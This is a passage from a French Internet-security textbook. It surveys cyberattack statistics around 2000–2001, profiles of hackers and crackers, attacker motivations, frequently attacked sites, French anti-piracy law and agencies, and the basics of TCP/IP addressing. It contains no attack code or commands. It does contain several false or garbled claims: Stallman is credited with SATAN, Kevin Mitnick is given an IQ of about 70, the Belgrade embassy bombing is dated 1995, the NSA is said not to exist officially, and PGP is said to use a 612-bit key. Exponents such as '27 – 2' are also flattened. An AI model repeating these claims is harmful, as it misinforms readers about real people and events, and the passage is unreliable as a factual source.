confirmations officielles en juin 2000 concernent Microsoft (Eh oui, le site de Bill
Gates lui même !) et en septembre, nouvelle attaque sur Yahoo.com…

Dans ce contexte d’intensification des attaques, l’on se demande où en est la


lutte contre ces nouveaux types de délinquants. Au début de l’année, un article du
journal français Le Figaro6 annonce la détermination du président américain de
l’époque, Bill Clinton, à lutter contre les cyber-attaques. Ce dernier souligne la
dépendance grandissante vis-à-vis de l’informatique qui mettait en danger les
industriels et les particuliers et propose un plan de plusieurs millions de dollars pour
lutter contre les cybercriminels. Pour ce faire, il demande au Congrès, une rallonge
budgétaire de 91 millions de dollars qui sera adoptée à la fin de l’année.

Cependant pour les particuliers, la lutte efficace contre ce fléau exige des plans à
long terme, à savoir : informer et former les spécialistes et sensibiliser les
utilisateurs des réseaux et d’Internet. Dans ce domaine, on pourrait citer les Etats-
Unis qui sont les précurseurs avec des bourses d’étude pour les étudiants en
informatique qui s’engagent à travailler pour le service public à la fin de leurs études
et des instituts pour la protection de l’infrastructure informative, afin d’amener des
ingénieurs et des universitaires à travailler dans ce domaine.

En France, on note qu’à la fin de l’année 2000, plusieurs écoles d’ingénieurs


prévoient d’intégrer un programme de sécurité informatique obligatoire dans les
cursus des étudiants en informatique et spécialement dans les programmes de
formation des Web masters et des étudiants en réseaux. Le gouvernement français
devient particulièrement sensible dans ce domaine et crée une unité spéciale de

5 Site spécialisé dans la vente des livres, des supports de musique et différents types de DVD
et vidéo…
6 Livraison du samedi 8/1/2000.
22 La sécurité sur Internet

gendarmes pour traquer les pirates et les cybercriminels, la BCRCI7. Emboîtant le


pas aux Etats-Unis et à la France, pionniers dans ce domaine, plusieurs pays
s’empressent de voter des lois anti-piratage.

En 2001, la répartition des systèmes d’exploitation attaqués reste à peu près la


même qu’en 2000, mais on enregistre de nouvelles victimes. En effet, les verrous
protégeant les sites ebook sont visés et attaqués.

Une enquête du CLUSIF8 portant sur les risques encourus, les divers accidents
et/ou attaques réalisés sur 608 entreprises et administrations, donne les chiffres
suivants :
– Virus ou vers informatiques : 67% ;
– Accidents d’ordre interne : 37% ;
– Accidents d’ordre externe : 13% ;
– Attaques ciblées : 7% ;
– Atteintes à l’image de la société ou du service : 2% ;
– Chantages ou fraudes : 1%.

Les nouveaux types de risques et problèmes concernant 2001 sont les


installations des faux sites Web, l’usurpation d’identité, les Yescard9.

Autre exemple de l’effronterie de certains, un pirate russe fier de sa trouvaille a


donné une conférence, à Las Vegas, aux Etats-Unis en juillet 2001 (Conférence de
DefCon), pour expliquer comment « bypasser » le système de protection anti-
Adobe. Immédiatement après la conférence, il est interpellé par la police et assigné à
résidence dans l’attente de son jugement.

Après avoir interrogé les faits et les chiffres, essayons à présent d’identifier les
pirates et leurs motivations.

1.2. Les hackers et les crackers

Qui sont ces pirates des temps modernes et quelles sont leurs motivations ?

7 Brigade Centrale de Répression de la Criminalité Informatique.


8 Club des utilisateurs informatiques en France.
9 Petite carte plastique et magnétique permettant de retirer des petites sommes aux
distributeurs, car sans contrôle de l’ordinateur.
Les pirates Internet 23

Déjà vers la fin des années 70, on enregistre les premières « attaques informatiques ».
Le hacking commence à faire son apparition et le grand public est confronté aux
premiers problèmes de vers et virus.

A mesure qu’Internet évolue et que le nombre des adeptes de ce nouvel outil de


communication et d’échanges d’information croît de jour en jour, quelques experts
tentent de signaler les problèmes liés à la sécurité informatique (preuves d’attaques à
l’appui) en mettant en garde contre les abus potentiels. Autrement dit, ils mettent le
doigt sur un point sensible, à savoir les limites des systèmes et les éléments de sécurité
que les concepteurs et initiateurs n’ont pas prévu au départ. Cette nouvelle
communauté est vite reconnue et identifiée : ce sont les « hackers ».

A l’époque, ces hackers, qu’on peut nommer « les bons », ne sont encore qu’une
poignée d’experts en la matière qui prônent la diffusion des informations sans
restriction, dénonçant par la même ceux qui les exploitent pour réaliser des profits
énormes. Ils se présentent donc comme les redresseurs de tort et ambitionnent de
montrer les points faibles des réseaux et des systèmes informatiques.

En France, vers les années 90, les autorités publiques définissent le hacking
comme « le piratage des informations » et l’identifient à « l’usurpation d’identité ».
C’est sûrement de cette époque que date l’amalgame entre le mot anglais « hacker »
et sa traduction française « pirate ». Ces hackers sont à distinguer des crackers ou
pirates qui jouent le rôle des « méchants » d’une part et d’autre part de personnalités
connues dont certains hackers convertis et travaillant contre les vrais pirates.

La communauté des crackers se compose de deux catégories. Il y a ceux qui sont


poussés par leur volonté d’usurpation d’identités qui ne sont pas les leurs, de faire
sauter les verrous de sécurité ou de faire « tomber » les systèmes. On les définit
aussi comme des cybercriminels. Heureusement, une menace émanant de ces
individus dans le but de soutirer des sommes d’argent sous peine de détruire des
fichiers, des bases de données d’un gouvernement ou d’une entreprise n’a pas
encore eu lieu. Mais l’avenir peut réserver des surprises.

La seconde catégorie de crackers dont on ose à peine prononcer le nom, c’est le


cyberterrorisme. C’est une communauté restreinte dont les actes sont peu connus. Il
s’agit en fait de salariés irrités par leur licenciement qui, connaissant bien les
systèmes informatiques de leur entreprise, cherchent, pour les torts qu’ils ont subis,
à se venger de leur chef.

A l’opposé, il y a les crashers. Ce sont des personnes sans scrupules qui


cherchent à détruire les systèmes pour le plaisir ou comme disent les anglo-saxons :
« for fun ». A titre d’exemple, voici une liste de hackers et de crackers notoires.
24 La sécurité sur Internet

1.2.1. Les hackers

– Richard Stalman est un des gourous de la scène mondiale des hackers. Il a


contribué à l’élaboration de nombreux produits de sécurité dont SATAN (Security
Administrator Tool for Analyzing Networks), outil d’analyse et de sécurité pour les
administrateurs de réseaux.
– Steve Wozniak est co-fondateur de la société d’Apple avec Steves Job, génie-
concepteur, lui-même ancien hacker.
– Denis Ritcie et Ken Tompsons sont les initiateurs, dès 1969, du système Unix,
anciens hackers sous les pseudonymes de DMR et de KEN.
– Bill Gate, ancien hacker, a quitté cette communauté et a créé Microsoft. Il est
lui-même une cible privilégiée.
– Serge Humpich est considéré comme un génie de piratage. Il a dévoilé les
failles du système de cartes bancaires lors de l’émission télévisée De quel droit du
14 décembre 1999 en France. Ses ambitions sont la sensibilisation et la mise en
garde contre les risques latents des cartes à puces mais les banquiers, ne l’entendant
pas de cette oreille, ont porté plainte entraînant sa condamnation.

1.2.2. Les crackers et cybercriminels connus et fichés par la police

– Denis Loran est l’un des plus connus. Originaire de Wolfboro, une petite ville
dans le New Hampshire, aux USA, il est, dès son premier forfait (14/11/99) sur le
site www.Dare.com, recherché par la police. La traduction littérale de Dare est
« osé », en fait, c’est l’acronyme d’une institution pro-gouvernementale pour
l’éducation : « Drug Abuse Resistance Education »10 ». Il a pratiqué le Script
kiddies qui consiste à attaquer un site Web pour en changer les pages et en
particulier la page d’accueil. Il a, par exemple, remplacé la page d’accueil du site
DARE par une image montrant Donald Duck en train de se piquer le bras avec une
seringue. Son deuxième forfait est l’attaque du site RSA (site proposant les clefs et
méthodes de cryptage pour la protection des informations). Tous les utilisateurs ou
clients connectés à ce site sont transférés chez lui. Recherché par la police, il est
arrêté et condamné avec sursis. Il a écopé d’une forte amende. Interrogé sur ses
compétences, il a déclaré qu’à trois ans, il a commencé à pianoter sur un clavier
d’ordinateur, que tous ses diplômes sont obtenus par correspondance et sa moyenne
quotidienne de connexion sur Internet peut atteindre parfois une quinzaine d’heures.

10 Education contre l’abus des drogues.


Les pirates Internet 25

– Kevin Mitnick : adolescent dans les années 90, quoique possédant un QI faible
de l’ordre de 70 (la moyenne étant située entre 100 et 130), il n’a rien d’autre à faire
que de « surfer » sur le Web durant ses journées pour trouver les failles des
systèmes, faire craquer les mots de passe. Arrêté, il est condamné à une peine de
prison.
– Tsutomu Shimomura : ancien hacker puis cracker et ami d'enfance de Kevin
Mitnick. Reconverti, il travaille aujourd'hui pour la NSA11 et est l’initiateur de
nombreux projets et processus de chiffrements DES par exemple.
– Ehud Tenebaum : Israélien, ayant comme pseudonyme » the Analyser »12.
Arrêté en 1999, à l’âge de 18 ans pour avoir pénétré le système informatique du
Pentagone. On ne connait pas exactement sa motivation réelle : espionnage ou
réellement « for fun ». C’est grâce à sa collaboration que la police a arrêté un groupe
de pédophiles communiquant par le Web.

A ces deux listes, nous avons jugé utile d’ajouter, à titre informatif, les noms de
certains informaticiens et génies qui, eux, ont contribué à la traque de ces pirates et à
la protection des systèmes et à l’élaboration d’algorithmes de protection. Il s’agit
de :
– Daniel Martin : ancien de la DST13, il est l’un des meilleurs spécialistes de la
sécurité informatique. Il a en outre publié des articles et livres sur le sujet.
– Damien Bancal : Web master du site www.zataz.com, il est l’un des premiers
journalistes spécialisés des hackers et des crackers.
– Winn Schwartau : grand spécialiste de l'info-guerre aux Etats-Unis, il est
conseiller du gouvernement et patron d’Interpac (un des services de gestion et
d’analyse des flux d’Internet).
– Dan Farmer : gourou de sécurité et concepteur des logiciels COPS et de
SATAN.
– Rivest, Shamir & Adleman : Chercheurs et développeurs, ils ont contribué à
développer une méthode de cryptage portant leurs noms (RSA), très connue et
utilisée dans certains protocoles de communication.
– Phil Zimmerman : Créateur du logiciel de cryptage PGP (Pretty Good Privacy)
qui s’appuie sur le principe de cryptage utilisant une clef de 612 bits.

11 National Security Agency. Le NSA est un mystérieux bureau gouvernemental qui n’existe
pas officiellement.
12 L’analyste.
13 Direction de la Surveillance du Territoire français.
26 La sécurité sur Internet

1.3. Les motivations des pirates

A l’instar d’une guerre, pour mieux élaborer une stratégie de victoire, il faut
connaître ses ennemis, leurs profils, leurs motivations ainsi que leurs techniques14.

Les motivations du piratage Internet sont variées et multiples. Elles sont d’ordre
personnel (vengeance personnelle, vengeance provoquée par un licenciement jugé
abusif, goût du défi.), politique, économique, industriel, militaire, financier et bien
d’autres encore.

1.3.1. « Attack for fun »

Certains pirates attaquent pour s’amuser. Ils s’introduisent dans une entreprise ou
un système privé juste pour le plaisir. Ils imaginent que le particulier ou l’entreprise
possède des informations intéressantes. Connaissant et maîtrisant les failles du
système, ils pensent souvent qu’ils peuvent passer inaperçus. Dans un cas extrême,
ils changent la page d’accueil d’un site ou la modifient. Ces personnes sont mues par
le désir d’épater leurs amis et connaissances : ce sont les « farceurs » de l’Internet.

En 1995, par goût du défi et « for fun », un pirate, sous le pseudonyme de Johnny
Xchaotic, a abonné plusieurs hommes politiques et personnalités américaines, dont
Bill Clinton et Bill Gates, à 3000 listes de diffusion.

On peut associer aux farceurs les « vandales », dont la motivation est de nuire
aux autres en provoquant des blocage par des attaques de DoS (Dénis de Service),
des emails bombing ou encore par des injections de virus.

1.3.2. La compétition

Plus complexes sont les motivations des « compétiteurs ». Ils sont à la recherche
de l’exploit et adorent la compétition soit pour le niveau de difficulté, ou pour le
niveau de complexité de « craquage ». Plus un système est protégé, plus ils
redoublent d’ingéniosité pour en trouver les failles. Ces crackers tentent, par tous les
moyens, de pénétrer ou compromettre les systèmes en laissant parfois « une
signature technique » univoque. Après leur passage, on ne peut que constater les
dégâts : ralentissement du système, fichiers compromis, problème de mémoire, etc.

14 Nous développerons ces points dans les chapitres 5 et 6.


Les pirates Internet 27

Techniquement, ils ont plus de professionnalisme que les farceurs car ils sont
capables d’utiliser les systèmes attaqués comme plate-forme d’attaques. Ce genre
d’attaque peut être préjudiciable à la victime car la police peut la confondre avec le
pirate et l’accuser.

Ces défis sont ceux-là même que les étudiants en informatique se lancent dans
les écoles ou universités en essayant de craquer le plus rapidement possible les
systèmes ou l’ordinateur central (pourtant géré par un professionnel !) ou de trouver
les mots de passe de l’ingénieur système.

1.3.3. Le terrorisme politique

Concernant les motivations politiques ou le terrorisme, on peut se contenter de


signaler quelques cas flagrants.

Il y a quelques années, des pirates ont attaqué des serveurs russes en pleine
guerre de Tchétchénie. En 1995, des pirates chinois s’en sont pris aux sites
gouvernementaux américains après le bombardement de l’ambassade de Chine à
Belgrade.

Le 25 mars 2003, le site Web de la chaîne arabe télévisée Al-Jazeera est la cible
d’une attaque de type déni de service distribué (DDoS). Cette attaque vient juste
après la diffusion par Al-Jazeera de photos des soldats américains capturés par les
forces iraquiennes en Iraq. Son objectif est d’inonder le site Web de la chaîne par du
trafic de telle sorte que les utilisateurs ne peuvent plus accéder au site15.

15 Les attaques de DDoS seront abordées au chapitre 7.


28 La sécurité sur Internet

1.3.4. L’espionnage industriel

Certains pirates sont mus par l’espionnage industriel. A cet effet, les services de
professionnels sont parfois loués pour ce genre d’activités.

Cet espionnage industriel via l’informatique est rarement évoqué, non seulement
parce que les pirates sont des techniciens de haut niveau qui laissent peu de traces
détectables lors de leurs intrusions, mais également parce que les entreprises
attaquées (sauf certains cas dévoilés par les clients) ne se sentent pas fières, et ne
sont pas friandes de mauvaise publicité. Les enjeux sont parfois énormes car le vol
de procédés industriels ou de données informatiques stratégiques peut entraîner la
perte de crédibilité de l’entreprise et menacer sa pérennité.

1.3.5. Les motivations financières

Enfin, les pirates peuvent être recrutés par une entreprise pour, entre
autres, détruire le système d’information d’une entreprise concurrente et/ou nuire à
son image de marque. Ces mercenaires cherchent à collecter des informations sur un
produit. Et les plus dangereux vont même jusqu’à modifier le contenu d’un site
Web ou bloquer son accès.

Les processus les plus redoutables sont ceux des modifications des prix ou du
détournement des fonds... En 1995, par exemple, un informaticien russe qui avait
des liens étroits avec la mafia locale et opérant à partir de Saint-Pétersbourg, a
détourné 11 millions de dollars dans une banque de New York en exploitant à
distance une faille de cette banque.

Même à titre individuel, un pirate peut voler des informations négociables et les
utiliser directement pour son propre intérêt (les numéros ou les codes des cartes
bancaires). Cependant, il faudrait aussi se méfier des enfants ou des adolescents qui
pourraient « piquer » du système informatique d’une entreprise des informations
négociables à l’extérieur : la liste des concurrents, l’annuaire d’une société, ses
prévisions de vente ou sa stratégie future.

1.4. Les principaux sites couramment attaqués

Les sites ciblés et attaqués varient en fonction des motivations des pirates.
Néanmoins on observe que le site privé d’un particulier anonyme est rarement
attaqué, encore moins un PC individuel connecté au Web. Mais cela n’exclut pas
que plusieurs ordinateurs individuels sont souvent infectés par des vers ou des virus.
Les pirates Internet 29

Ceci se produit soit par le mode d’infection de masse (mailing automatique) soit par
l’individu lui-même qui manipule des supports média ou télécharge des fichiers
infectés provenant de sites attaqués.

Le site www.onething.com/archive recense les sites Web attaqués, tels ceux de la


CIA, du Pentagone, du ministère américain de la Justice, du Los Angeles Police
Department, d’Amnesty International, du New York Times, de Motorola, de BMW,
etc. Même les sites d’artistes, tel le groupe Spice Girls ou Janet Jackson,
n’échappent guère. Les attaques sur des sites Web peuvent nuire à l’image de
l’institution ou des entreprises victimes.

Voici, à titre illustratif, quelques exemples édifiants d’attaques sur des sites très
importants.

Le 18 août 1996, le site du ministère américain de la justice est attaqué. Les


pirates ont modifié principalement le nom du ministère : Le ministère américain de
la Justice devient « Le ministère américain de l’Injustice ».

Le 20 septembre 1996, des pirates attaquent le site de la CIA (Central


Intelligence Agency) des Etats-Unis. Les pirates ont modifié principalement le nom
de cette Agence : « Agence Centrale de l’Intelligence » devient « Agence Centrale
de la Stupidité » :

Le 7 janvier 1998, c’est au tour du site de l’Unicef de connaître les mêmes


mésaventures.

A la lumière de ce qui précède, nous pouvons aisément établir une corrélation


entre les sites attaqués et le nombre d’attaques. Ce sont donc plutôt les sites
connus qui ont une grande probabilité d’être ciblés par des attaquants et cette
probabilité augmente en fonction du temps de connexion (on-line).

En effet, plus la cible est importante, plus les pirates redoublent de férocité pour
montrer leur savoir-faire.
– Microsoft, Hotmail, Yahoo,
– Les entreprises Hight Tech.,
– Les entreprises pratiquant du e-commerce (commerces via l’Internet),
– Les universités,
– Les institutions gouvernementales, les organismes de défense nationale...
30 La sécurité sur Internet

Concernant ces catégories, sur les 2300 tests d’intrusion effectués mondialement,
on relève une réussite d’intrusion très proche de 100%. En France, un expert
affirme : « Nous faisons des tests d’intrusion sur les sites français, dans 90% des cas,
nous arrivons à entrer sans problème ».

Aux Etats-unis, après une série d’attaques sur les serveurs du FBI, de la Maison
Blanche et d’autres institutions américaines au printemps 1999, le gouvernement
américain a recruté des pirates et les a chargés de mener des tests d’intrusion.

Le résultat flagrant a mis en évidence les faiblesses de certains systèmes et


réseaux : après quatre jours, ces « pirates officiels » étaient aux commandes de la
distribution électrique de quatre mégapoles. En outre, le risque est proportionnel à la
durée de connexion à Internet. Nous en voulons pour preuve les exemples de deux
de nos amis responsables de PME. Ils n’ont jamais eu d’attaque jusqu’au jour où ils
se sont abonnés à l’ADSL16.

Le premier a subi l’invasion des virus alors que le serveur du deuxième a été pris
d’assaut par un pirate pour l’utiliser comme plate-forme d’attaque contre d’autres
systèmes : ce patron d’une petite entreprise grenobloise, au-dessus de tout soupçon,
est fort surpris lorsque la police débarque chez lui pour l’enquête. Une ambassade
étrangère se plaint d’avoir reçu, de sa part ou de celle du personnel de son
entreprise, des emails d’insultes. Il s’agirait probablement de la vengeance d’un
acheteur mécontent ou de celle, personnelle, d’un salarié indélicat.

1.5. Les sources d’information des pirates

Comme tout informaticien, le pirate a besoin d’informations pour développer son


savoir-faire et réaliser ses exploits. De ce fait, il se constitue de par le monde des
centaines de sites Web concernant les pirates et les problèmes de piratage.

Avec un moteur de recherche tels que www.astalavista.com ou www.google.com,


après avoir fourni le mot clé « hacker » ou « hacking », un simple click donne
d’innombrables points d’entrée et une mine d’informations.

Nous fournissons en annexe une longue liste de sites Web, le lecteur est seul
responsable, en son âme et conscience, de l’usage qu’il fait de ces informations et/ou
des outils téléchargeables à partir de ces sites. En outre, il existe des magazines de

16 Nouvelle technologie de transmission à hauts débits pour le réseau public, avec connexion
en continu.
Les pirates Internet 31

hacking. Les plus connus sont le 2600 magazines publié aux Etats-Unis
(www.2600.com) et le Hackers Voices publié en France (www.dmpfrance.com). Ils
font référence en la matière.

Enfin, il faut signaler qu’il existe même des forums de discussion et des
conférences pour les hackers. Les séminaires ou conférences les plus connus sont :
– DefCom à Las Vegas aux Etats-Unis, www.defcom.com ;

– Le congrès Chaos Communication Congres en Allemagne, www.ccc.de ;

– Le H2K2, The hackers On Planet Earth 2002 du mois de juillet 2002 à New
York, (www.2600.com).

Pour participer à une réunion de pirates ou se réunir chaque premier vendredi du


mois, on pourrait se référer au site www.2600.com. La date et le lieu des rencontres
sont publiquement annoncés.

Un gestionnaire de réseaux ou administrateur averti se doit donc de prendre


connaissance de l’existence de ces moyens de communication et peut même y
participer afin d’obtenir les informations à la source.

1.6. La lutte anti-piratage

Dans le domaine de l’informatique, nous allons le démontrer tout le long de cet


ouvrage, les techniques évoluent très rapidement et même les professionnels sont
parfois incapables de suivre le rythme des nouveautés.

Cet état de fait ne doit cependant pas faire oublier qu’en matière de sécurité
informatique, l’on doit constamment être à jour.

Pour rassurer les plus sceptiques, nous rappelons deux certitudes : la première,
c’est que retrouver les pirates est toujours techniquement possible, c’est uniquement
une question de temps ; la seconde est que, conscient de la gravité du fléau, le
gouvernement français a instauré des lois pour lutter contre la fraude informatique et
le piratage et créé des instances de contrôle et de sécurité.

Le projet de loi approuvé au conseil des ministres du 14 octobre 1999, par


exemple, stipule au chapitre 1er que « celui qui, en vue de se procurer pour soi-
même ou pour autrui, un avantage patrimonial frauduleux, introduit dans un
système informatique, modifie ou efface des données qui sont stockées, traitées ou
transmises par un système informatique, ou modifie par tout moyen technologique
32 La sécurité sur Internet

l'utilisation possible des données dans un système informatique » est passible d’une
peine d’emprisonnement de 6 mois à 3 ans et d’une amende.

« Celui qui, par la commission de l'infraction visée au chapitre 1er, obtient pour
soi-même ou pour autrui un avantage patrimonial frauduleux » risque de 6 mois à 5
ans d’emprisonnement avec amende.

En cas de récidive, les peines sont doublées. En outre, des informations peuvent
être obtenues auprès de la CLUSIF, de la DCSSI (Direction Central de la Sécurité
des Systèmes d’Information) à Paris.

La DCSSI est un service rattaché au Secrétariat Général de la Défense Nationale,


dépendant du Premier ministre, ses fonctions sont les suivantes :
– évaluer les procédés de protection cryptologique ;
– certifier les produits évalués par les centres agrées ;
– statuer sur les exportations des technologies, des produits et des systèmes ;
– conseiller les Administrations et certaines entreprises ;
– participer aux actions de Normalisation.

Il convient aussi de signaler l’existence du Service d’Enquête sur les Fraudes aux
Technologies de l’Information (SEFTI), dont la compétence couvre Paris et sa
proche périphérie, ainsi que celle de la Brigade Centrale de Répression de la
Criminalité Informatique à compétence nationale (BCRCI).

Résumé du chapitre 1

Ce chapitre aura permis au lecteur de connaître la raison d’être de ce livre et


d’appréhender le monde de l’Internet ainsi que les acteurs tels que les crackers, les
hackers et leurs multiples motivations (personnelles, économiques, industrielles,
politiques, religieuses...).

Quelques figures de ce monde ont été citées. Quelques sites connus et attaqués
durant ces dernières années ont été présentés ainsi que la répartition en pourcentage
des systèmes d’exploitation mis en cause.

Le phénomène de piratage prend de l’ampleur à tel point que le FBI et des


organismes gouvernementaux recrutent même des hackers pour mener des tests
d’intrusion contre leurs propres systèmes...
Les pirates Internet 33

Afin de mieux appréhender ces problèmes techniques et les failles des systèmes,
il importe de connaître les protocoles de base TCP/IP, les services de l’Internet et les
points faibles de ce merveilleux outil de communication.

C’est ce que nous allons aborder dans les deux chapitres suivants.
Chapitre 2

Les protocoles TCP/IP


et les services Internet : notions de base
pour la compréhension des attaques

2.1. Historique des protocoles TCP/IP

Au milieu des années 70, les travaux de DARPA1 débutent pour développer un
réseau à commutation de paquets afin de relier ses centres de recherches, partager
des équipements informatiques et échanger données et courriers. Le réseau devait
résister à des attaques militaires. Il fallait donc protéger les points névralgiques dont
la destruction entraînerait la paralysie du réseau. Ainsi, dès le départ, le réseau
ARPANET est-il conçu sans nœud particulier le dirigeant, de telle sorte que, si une
voie de communication venait à être rompue, le réseau continuerait d’acheminer les
informations en empruntant un autre chemin.

Le DARPA établit donc un certain nombre de normes, spécifiant les principes et


conventions de communications entre ordinateurs, qui sont souvent référencées sous
l’appellation TCP/IP.

C’est vers 1980 qu’apparaît le réseau Internet tel qu’on le connaît maintenant. La
DARPA commence à faire évoluer les ordinateurs de ses réseaux de recherche vers

1 Defence Advanced Research Project Agency.


36 La sécurité sur Internet

les nouveaux protocoles TCP/IP et elle se met à subventionner les travaux de


l’université de Berkeley pour qu’elle intègre TCP/IP à son système d’exploitation
Unix (BSD). Ainsi, la quasi-totalité des départements d’informatique des universités
américaines commencent-ils à se doter de réseaux locaux qui, sous l’impulsion de la
NSF (National Science Foundation), seront interconnectés, en quelques années.

Les normes d’Internet sont publiées sous forme de fichiers texte, appelés RFC
(Request for Comments) et téléchargeables gratuitement. Chaque RFC reçoit un
numéro unique et définitif, donc non modifiable. De ce fait, plusieurs RFC peuvent
traiter du même sujet, mais certaines d’entre elles sont obsolètes ou simplement
complémentaires.

Même si, dès son origine l’Internet comprenait des entreprises privées, celles-ci
étaient plus ou moins liées à la recherche et au développement, mais, depuis
l’arrivée du Web, en 1993, les activités commerciales s’y multiplient
considérablement.

2.2. Avantages des protocoles TCP/IP

Face aux autres concurrents qui proposent des services identiques (IPX,
NetBIOS, etc.), les protocoles TCP/IP présentent certains avantages. Nous en
retenons les plus significatifs :
– TCP/IP est indépendant de tout matériel ou constructeur. Il peut fonctionner
sur une grande variété de technologies, utilisant une unité de transmission nommée
datagramme, spécifiant la façon de transmettre les informations sur un type de
réseau donné ;
– chaque machine connectée via TCP/IP reçoit une adresse unique et toutes les
paires de machines peuvent communiquer entre elles. Les nœuds intermédiaires
utilisent les adresses contenues dans les datagrammes pour prendre les décisions de
routage des paquets ;
– TCP/IP assure un acquittement direct entre machine source et destination,
même dans l’hypothèse où les machines ne sont pas reliées sur le même réseau
physique.

Outre les protocoles de transport, TCP/IP inclut différents protocoles


d’application, par exemple, pour la messagerie électronique, le transfert de fichiers
et la connexion à distance (remote login, rlogin).
Les protocoles TCP/IP 37

2.3. Architecture des protocoles TCP/IP

Les logiciels TCP/IP sont structurés en quatre couches de protocoles qui s’appuient
sur une couche matérielle comme illustré dans la Figure 2.1 :
– la couche physique constitue l’interface avec le réseau et se compose d’un
driver pour le système d’exploitation et d’une carte d’interface de l’ordinateur avec
le réseau ;
– la couche réseau ou couche IP (Internet Protocol) gère la circulation des
paquets à travers le réseau en assurant leur routage. Elle comprend aussi les
protocoles ICMP (Internet Control Message Protocol), ARP (Address Resolution
Protocol) et RARP (Reverse Address Resolution Protocol) ;
– la couche transport assure principalement la communication entre l’émetteur
et le destinataire, abstraction faite des machines intermédiaires. Elle régule le flux de
données et assure un transport fiable (données transmises sans erreur et reçues dans
l’ordre de leur émission) dans le cas de TCP (Transmission Control Protocol) ou pas
totalement fiable dans le cas de l’UDP (User Datagram Protocol). Pour UDP,
l’arrivée d’un paquet (appelé dans ce cas datagramme) est assurée par la couche
application ;
– la couche application propose des services de toutes sortes, en utilisant TCP,
UDP, et ICMP. Parmi ces services, on trouve la messagerie (POP pour la
consultation, SMTP pour l’envoi), l’échange de fichiers (FTP), les services Web
(WWW), l’application Ping (ICMP), le service DNS (TCP et UDP), etc.

Figure 2.1. Architecture d’une pile TCP/IP


38 La sécurité sur Internet

Cette architecture et ces différents protocoles permettent de faire fonctionner un


réseau local, comme par exemple un bus Ethernet reliant un ordinateur client A qui
interroge un serveur FTP B. La Figure 2.2 illustre le cas. Mais, ceci permet surtout
de constituer un Internet, c’est-à-dire une interconnexion de réseaux éventuellement
hétérogènes comme illustré dans la Figure 2.3. Ici les ordinateurs A et B sont des
systèmes terminaux et le routeur est un système intermédiaire. Comme on peut le
constater, la remise du datagramme nécessite l’utilisation de deux trames différentes,
la trame du réseau Ethernet entre une machine A et le routeur, et celle du réseau
Token-Ring entre le routeur et une machine B. Par opposition, le principe de
structuration en couches indique que le paquet reçu par la couche transport de la
machine B est identique à celui émis par la couche transport de la machine A.

Figure 2.2. Communication entre deux machines du même réseau

Figure 2.3. Interconnexion de deux réseaux


Les protocoles TCP/IP 39

Lorsqu’une application envoie des données à l’aide de TCP/IP, les données


traversent chaque couche, de haut en bas, pour aboutir au support physique où elles
sont alors émises sous forme de suites de bits. L’encapsulation illustrée dans la
Figure 2.4 consiste pour chaque couche à ajouter de l’information aux données en
les commençant par des en-têtes, voire en ajoutant des informations de remorque.
Dans le cas du protocole UDP à la place de TCP, les seuls changements sont que
l’unité d’information passée à IP s’appelle un datagramme UDP dont l’en-tête a une
taille de 8 octets.

Figure 2.4. Encapsulation des données par la pile des protocoles TCP/IP

2.4. L’adressage Internet

Chaque ordinateur du réseau Internet dispose d’une unique adresse IP codée sur
32 bits. Autrement dit, chaque interface dispose d’une adresse IP particulière. En
effet, un même routeur interconnectant 2 réseaux différents possède une adresse IP
pour chaque interface de réseau. Une adresse IP est toujours représentée dans une
notation décimale constituée de 4 nombres (1 par octet) compris entre 0 et 255
chacun et séparés par un point. Une adresse IP est constituée d’une paire
(identificateur de réseau, identificateur de machine) et appartient à une classe
donnée (A, B, C, D ou E) selon la valeur de son premier octet, comme détaillé dans
la Figure 2.5.
40 La sécurité sur Internet

Figure 2.5. Les classes des adresses IP

2.4.1. Adresses IP particulières

Adresse de boucle locale


Toutes les adresses sont possibles, excepté l’adresse 127.X.Y.Z, appelée Local
Loopback (adresse de boucle locale) qui est réservée à la vérification du bon
fonctionnement de la carte réseau.

Adresse de diffusion
Dans le cas, très fréquent, où on doit expédier un message à l’ensemble des
machines d’un réseau, on utilise une adresse de diffusion, appelée broadcast, où
tous les bits correspondant à la partie machine sont mis à Un. Pour éviter
d’encombrer l’interconnexion de réseaux, cette diffusion ne peut en principe franchir
un routeur.

2.4.2. Les classes des adresses IP

Les adresses IP sont numérotées alphabétiquement de A à E.

Classe A
Dans cette classe d’adresses, le premier bit de l’octet 1 est à Zéro. Le reste du
premier octet donne l’identificateur de réseau, ce qui laisse 7 bits pour le coder. Les
trois octets suivants donnent l’identificateur de machine. Les adresses de classe A
correspondent à un petit nombre de réseaux de très grande taille, puisque 24 bits
sont disponibles pour adresser des machines.
Les protocoles TCP/IP 41

Comme il ne faut pas utiliser d’identificateur (machine ou réseau) tout à Zéro ou


tout à Un et que l’adresse réseau 127 ne doit pas être employée, nous disposons donc
en classe A de 27 – 2 réseaux pouvant contenir 224 – 2 machines chacun.

Ainsi, les adresses valides de classe A vont de 1.0.0.1 à 126.255.255.254.

Classe B
Cette classe d’adresse est identifiable aux deux premiers bits de l’octet Un qui
sont toujours 10. Les 16 premiers bits contiennent l’ID réseau et les deux derniers
octets l’ID machine. Ainsi, disposons-nous de 214 réseaux de 216 – 2 machines
chacun.

Les adresses valides de classe B vont ainsi de 128.0.0.1 à 191.255.255.254.

Classe C
Dans la classe C, les trois premiers bits sont toujours 110 et les trois premiers
octets signifient le numéro de réseau. Seul le dernier octet identifie le numéro de
machine. Cette classe peut être utilisée pour un grand nombre de réseaux de petites
dimensions. Ainsi, disposons-nous de 221 réseaux de 28 – 2 machines chacun.

Les adresses valides de classe C vont de 192.0.0.1 à 223.255.255.254.

Classe D
La classe D ne peut servir à identifier des machines. Elle est utilisée pour la
diffusion d’un message à un groupe de machines. Les quatre premiers bits ont
toujours la même valeur : 1110. Elle est donc repérée par un premier octet allant de
224 à 239.

Classe E
Réservée pour un usage ultérieur, cette classe d’adresse ne peut être utilisée pour
identifier des machines sur un réseau TCP/IP. Elle possède un premier octet
supérieur ou égal à 240 (quatre premiers bits à Un).

2.4.3. Le NIC (Network Information Center)

Afin de garantir l’unicité de la partie réseau, seul un organisme central, le NIC,


est habilité à délivrer les adresses IP utilisables sur l’Internet. Quand un organisme
souhaite se connecter à l’Internet, il se voit attribuer un numéro de réseau et alors
choisir lui-même ses numéros de machines.
42 La sécurité sur Internet

Pour un fonctionnement autonome, par contre, l’organisme a toute la liberté de


choisir son numéro de réseau comme bon lui semble.

2.5. Principe de routage

La couche réseau ou couche IP (Internet Protocol) gère la circulation des


datagrammes à travers le réseau en assurant leur routage ; sa charge est donc
l'acheminement de ces datagrammes à la destination indiquée par l'adresse Internet.

Il est donc nécessaire de comprendre, au préalable, le modèle sur lequel repose


